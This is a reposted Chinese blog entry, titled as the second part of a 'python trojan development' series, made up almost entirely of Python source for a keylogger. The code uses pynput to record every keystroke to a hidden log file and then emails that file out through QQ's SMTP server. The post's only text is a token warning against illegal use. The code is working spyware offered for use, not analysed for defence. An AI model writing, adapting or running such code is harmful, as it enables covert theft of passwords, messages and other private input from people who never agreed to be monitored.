码迷,mamicode.com
首页 > 编程语言 > 详细

python trojan development 2nd —— use python to send mail and listen to the key board then combine them

时间:2019-02-28 00:51:40      阅读:191      评论:0      收藏:0      [点我收藏+]

标签:smt   enter   string   for   color   sage   bin   ima   .com   

今晚先上代码,明天再说怎么写的,请勿用于非法用途!!!!!

 1 from pynput.keyboard import Key,Listener
 2 import logging
 3 import os
 4 import smtplib
 5 from email.mime.text import MIMEText
 6 from PIL import ImageGrab
 7 import random
 8 from time import *
 9 from email.mime.multipart import MIMEMultipart
10 from email.mime.text import MIMEText
11 from email.mime.image import MIMEImage
12 
13 def send_mail(filename):
14     file = open(filename,"r",encoding="UTF-8")
15     data = file.read()
16     file.close()
17     msg_from=@qq.com                                 #发送方邮箱
18     passwd=                                   #填入发送方邮箱的授权码
19     msg_to=
20 
21 
22     subject="python邮件测试"                                     #主题
23     content=data
24     msg = MIMEText(content,"plain","utf-8")
25     msg[Subject] = subject
26     msg[From] = msg_from
27     msg[To] = msg_to
28     try:
29         s = smtplib.SMTP_SSL("smtp.qq.com",465)
30         s.login(msg_from, passwd)
31         s.sendmail(msg_from, msg_to, msg.as_string())
32         print( "发送成功")
33     except:
34         print("发送失败")
35     finally:
36         s.quit()
37 
38 def mkdir(path):
39 
40     path = path.strip()
41     # 去除尾部 \ 符号
42     path = path.rstrip("\\")
43 
44     isExists = os.path.exists(path)
45 
46     # 判断结果
47     if not isExists:
48 
49         os.makedirs(path)
50 
51        # print(path + ‘ 创建成功‘)
52         return True
53     else:
54         # 如果目录存在则不创建,并提示目录已存在
55        # print(path + ‘ 目录已存在‘)
56         return False
57 
58 
59 # 定义要创建的目录
60 path = "C:\\hola\\"
61 # 调用函数
62 mkdir(path)
63 
64 logging.basicConfig(filename=(path+"keylog.txt"),format="%(asctime)s:%(message)s",level=logging.DEBUG)
65 
66 
67 def press(key):
68     logging.info(key)
69     if key==Key.enter:
70         return False
71 
72 with Listener(on_press = press) as listener:
73     listener.join()
74 
75 
76 send_mail(path+"keylog.txt")

 

python trojan development 2nd —— use python to send mail and listen to the key board then combine them

标签:smt   enter   string   for   color   sage   bin   ima   .com   

原文地址:https://www.cnblogs.com/pwn2web/p/10447865.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!